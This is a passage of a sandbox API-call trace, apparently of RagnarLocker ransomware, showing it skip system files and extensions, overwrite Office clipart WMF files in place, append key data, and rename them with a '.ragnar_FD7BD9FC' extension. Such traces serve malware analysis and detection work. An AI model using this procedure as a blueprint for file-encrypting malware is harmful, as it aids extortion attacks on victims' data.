[0086.097] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.097] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.099] VirtualAlloc (lpAddress=0x0, dwSize=0xaefa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.099] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.099] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.099] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xaefa, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xaefa, lpOverlapped=0x0) returned 1 [0086.100] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.101] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaefa, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.101] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xaefa, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xaefa, lpOverlapped=0x0) returned 1 [0086.101] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaefa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.101] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.101] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xaefa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.101] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.101] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.102] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.102] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.102] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.102] GetProcessHeap () returned 0x580000 [0086.102] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.102] CloseHandle (hObject=0xf4) returned 1 [0086.102] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" [0086.102] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.ragnar_FD7BD9FC" [0086.102] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.103] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26227e00, ftCreationTime.dwHighDateTime=0x1be5489, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26227e00, ftLastWriteTime.dwHighDateTime=0x1be5489, nFileSizeHigh=0x0, nFileSizeLow=0x2d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215070.WMF", cAlternateFileName="")) returned 1 [0086.103] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.103] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0215070.WMF" | out: lpString1="J0215070.WMF") returned="J0215070.WMF" [0086.103] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF") returned=".WMF" [0086.103] lstrcmpiW (lpString1="J0215070.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.103] lstrcmpiW (lpString1="J0215070.WMF", lpString2="autorun.inf") returned 1 [0086.103] lstrcmpiW (lpString1="J0215070.WMF", lpString2="boot.ini") returned 1 [0086.103] lstrcmpiW (lpString1="J0215070.WMF", lpString2="bootfont.bin") returned 1 [0086.103] lstrcmpiW (lpString1="J0215070.WMF", lpString2="bootsect.bak") returned 1 [0086.103] lstrcmpiW (lpString1="J0215070.WMF", lpString2="bootmgr") returned 1 [0086.103] lstrcmpiW (lpString1="J0215070.WMF", lpString2="bootmgr.efi") returned 1 [0086.103] lstrcmpiW (lpString1="J0215070.WMF", lpString2="bootmgfw.efi") returned 1 [0086.103] lstrcmpiW (lpString1="J0215070.WMF", lpString2="desktop.ini") returned 1 [0086.103] lstrcmpiW (lpString1="J0215070.WMF", lpString2="iconcache.db") returned 1 [0086.103] lstrcmpiW (lpString1="J0215070.WMF", lpString2="ntldr") returned -1 [0086.103] lstrcmpiW (lpString1="J0215070.WMF", lpString2="ntuser.dat") returned -1 [0086.103] lstrcmpiW (lpString1="J0215070.WMF", lpString2="ntuser.dat.log") returned -1 [0086.103] lstrcmpiW (lpString1="J0215070.WMF", lpString2="ntuser.ini") returned -1 [0086.103] lstrcmpiW (lpString1="J0215070.WMF", lpString2="thumbs.db") returned -1 [0086.103] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.103] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.103] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.103] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.103] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.103] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.104] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf")) returned 0x20 [0086.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.104] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11628) returned 1 [0086.104] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2d63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.104] GetProcessHeap () returned 0x580000 [0086.104] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.104] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.105] VirtualAlloc (lpAddress=0x0, dwSize=0x2d6c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.106] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.106] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.106] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2d6c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2d6c, lpOverlapped=0x0) returned 1 [0086.107] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.107] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2d6c, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.107] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2d6c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2d6c, lpOverlapped=0x0) returned 1 [0086.107] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2d6c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.107] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.107] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2d6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.107] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.107] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.107] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.107] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.108] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.108] GetProcessHeap () returned 0x580000 [0086.108] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.108] CloseHandle (hObject=0xf4) returned 1 [0086.108] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" [0086.108] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.ragnar_FD7BD9FC" [0086.108] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.108] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2209e400, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2209e400, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215076.WMF", cAlternateFileName="")) returned 1 [0086.108] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.108] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0215076.WMF" | out: lpString1="J0215076.WMF") returned="J0215076.WMF" [0086.108] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF") returned=".WMF" [0086.109] lstrcmpiW (lpString1="J0215076.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.109] lstrcmpiW (lpString1="J0215076.WMF", lpString2="autorun.inf") returned 1 [0086.109] lstrcmpiW (lpString1="J0215076.WMF", lpString2="boot.ini") returned 1 [0086.109] lstrcmpiW (lpString1="J0215076.WMF", lpString2="bootfont.bin") returned 1 [0086.109] lstrcmpiW (lpString1="J0215076.WMF", lpString2="bootsect.bak") returned 1 [0086.109] lstrcmpiW (lpString1="J0215076.WMF", lpString2="bootmgr") returned 1 [0086.109] lstrcmpiW (lpString1="J0215076.WMF", lpString2="bootmgr.efi") returned 1 [0086.109] lstrcmpiW (lpString1="J0215076.WMF", lpString2="bootmgfw.efi") returned 1 [0086.109] lstrcmpiW (lpString1="J0215076.WMF", lpString2="desktop.ini") returned 1 [0086.109] lstrcmpiW (lpString1="J0215076.WMF", lpString2="iconcache.db") returned 1 [0086.109] lstrcmpiW (lpString1="J0215076.WMF", lpString2="ntldr") returned -1 [0086.109] lstrcmpiW (lpString1="J0215076.WMF", lpString2="ntuser.dat") returned -1 [0086.109] lstrcmpiW (lpString1="J0215076.WMF", lpString2="ntuser.dat.log") returned -1 [0086.109] lstrcmpiW (lpString1="J0215076.WMF", lpString2="ntuser.ini") returned -1 [0086.109] lstrcmpiW (lpString1="J0215076.WMF", lpString2="thumbs.db") returned -1 [0086.109] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.109] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.109] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.109] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.109] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.109] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.109] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf")) returned 0x20 [0086.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.110] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8016) returned 1 [0086.110] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f47, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.110] GetProcessHeap () returned 0x580000 [0086.110] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.110] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.111] VirtualAlloc (lpAddress=0x0, dwSize=0x1f50, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.111] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.111] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.111] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f50, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f50, lpOverlapped=0x0) returned 1 [0086.112] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.112] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f50, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.112] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f50, lpOverlapped=0x0) returned 1 [0086.112] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f50, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.113] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.113] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.113] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.113] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.113] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.113] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.113] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.113] GetProcessHeap () returned 0x580000 [0086.113] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.113] CloseHandle (hObject=0xf4) returned 1 [0086.113] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" [0086.113] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.ragnar_FD7BD9FC" [0086.113] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.116] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215210.WMF", cAlternateFileName="")) returned 1 [0086.116] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.116] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0215210.WMF" | out: lpString1="J0215210.WMF") returned="J0215210.WMF" [0086.116] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF") returned=".WMF" [0086.116] lstrcmpiW (lpString1="J0215210.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.116] lstrcmpiW (lpString1="J0215210.WMF", lpString2="autorun.inf") returned 1 [0086.117] lstrcmpiW (lpString1="J0215210.WMF", lpString2="boot.ini") returned 1 [0086.117] lstrcmpiW (lpString1="J0215210.WMF", lpString2="bootfont.bin") returned 1 [0086.117] lstrcmpiW (lpString1="J0215210.WMF", lpString2="bootsect.bak") returned 1 [0086.117] lstrcmpiW (lpString1="J0215210.WMF", lpString2="bootmgr") returned 1 [0086.117] lstrcmpiW (lpString1="J0215210.WMF", lpString2="bootmgr.efi") returned 1 [0086.117] lstrcmpiW (lpString1="J0215210.WMF", lpString2="bootmgfw.efi") returned 1 [0086.117] lstrcmpiW (lpString1="J0215210.WMF", lpString2="desktop.ini") returned 1 [0086.117] lstrcmpiW (lpString1="J0215210.WMF", lpString2="iconcache.db") returned 1 [0086.117] lstrcmpiW (lpString1="J0215210.WMF", lpString2="ntldr") returned -1 [0086.117] lstrcmpiW (lpString1="J0215210.WMF", lpString2="ntuser.dat") returned -1 [0086.117] lstrcmpiW (lpString1="J0215210.WMF", lpString2="ntuser.dat.log") returned -1 [0086.117] lstrcmpiW (lpString1="J0215210.WMF", lpString2="ntuser.ini") returned -1 [0086.117] lstrcmpiW (lpString1="J0215210.WMF", lpString2="thumbs.db") returned -1 [0086.117] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.117] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.117] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.117] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.117] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.117] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.117] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf")) returned 0x20 [0086.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.118] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=33230) returned 1 [0086.118] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x81c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.118] GetProcessHeap () returned 0x580000 [0086.118] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.118] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.119] VirtualAlloc (lpAddress=0x0, dwSize=0x81ce, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.119] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.120] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.120] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x81ce, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, 